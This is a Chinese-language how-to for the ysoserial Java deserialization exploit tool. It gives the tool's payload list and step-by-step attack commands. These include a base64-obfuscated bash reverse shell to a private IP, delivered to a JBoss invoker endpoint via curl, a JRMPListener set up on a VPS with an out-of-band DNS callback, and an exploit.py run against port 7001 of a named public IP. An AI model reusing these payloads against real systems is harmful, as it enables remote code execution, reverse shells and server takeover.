下载链接：https://github.com/frohoff/ysoserial 需要自己编译 还是直接下载.jar
    需要Jdk1.7

    使用方法

    1. $  java -jar ysoserial.jar
    2. Y SO SERIAL?
    3. Usage: java -jar ysoserial.jar [payload] '[command]'，
    4.   Available payload types:
    5.      Payload             Authors                     Dependencies
    6.      -------             -------                     ------------
    7.      BeanShell1          @pwntester, @cschneider4711 bsh:2.0b5
    8.      C3P0                @mbechler                   c3p0:0.9.5.2, mchange-commons-java:0.2.11
    9.      Clojure             @JackOfMostTrades           clojure:1.8.0
    10.      CommonsBeanutils1   @frohoff                    commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
    11.      CommonsCollections1 @frohoff                    commons-collections:3.1
    12.      CommonsCollections2 @frohoff                    commons-collections4:4.0
    13.      CommonsCollections3 @frohoff                    commons-collections:3.1
    14.      CommonsCollections4 @frohoff                    commons-collections4:4.0
    15.      CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
    16.      CommonsCollections6 @matthias_kaiser            commons-collections:3.1
    17.      FileUpload1         @mbechler                   commons-fileupload:1.3.1, commons-io:2.4
    18.      Groovy1             @frohoff                    groovy:2.3.9
    19.      Hibernate1          @mbechler
    20.      Hibernate2          @mbechler
    21.      JBossInterceptors1  @matthias_kaiser            javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
    22.      JRMPClient          @mbechler
    23.      JRMPListener        @mbechler
    24.      JSON1               @mbechler                   json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
    25.      JavassistWeld1      @matthias_kaiser            javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
    26.      Jdk7u21             @frohoff
    27.      Jython1             @pwntester, @cschneider4711 jython-standalone:2.5.2
    28.      MozillaRhino1       @matthias_kaiser            js:1.7R2
    29.      Myfaces1            @mbechler
    30.      Myfaces2            @mbechler
    31.      ROME                @mbechler                   rome:1.0
    32.      Spring1             @frohoff                    spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
    33.      Spring2             @mbechler                   spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
    34.      URLDNS              @gebl
    35.      Wicket1             @jacob-baines               wicket-util:6.23.0, slf4j-api:1.6.4

    例子：$ java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe

    1. java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwLjE0NC8yMzMgMD4mMQ==}|{base64,-d}|{bash,-i}" > poc.ser
    2. curl http://Jboss_ip:port/invoker/readonly --data-binary @poc.ser

    在公网vps上执行:

    1. java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener  【port】 CommonsCollections1 ‘【commands】‘

    port:公网vps上监听的端口号
    commands:需要执行的命令
    例子：

    1. java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 ‘ping -c 2  rce.267hqw.ceye.io‘

    重启一个shell窗口：

    1. python exploit.py 【目标ip】 【目标端口】 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 【JRMPListener ip】  【JRMPListener port】 JRMPClient

    列子：

    1. python exploit.py 118.89.53.139  7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 118.89.53.139  1099 JRMPClient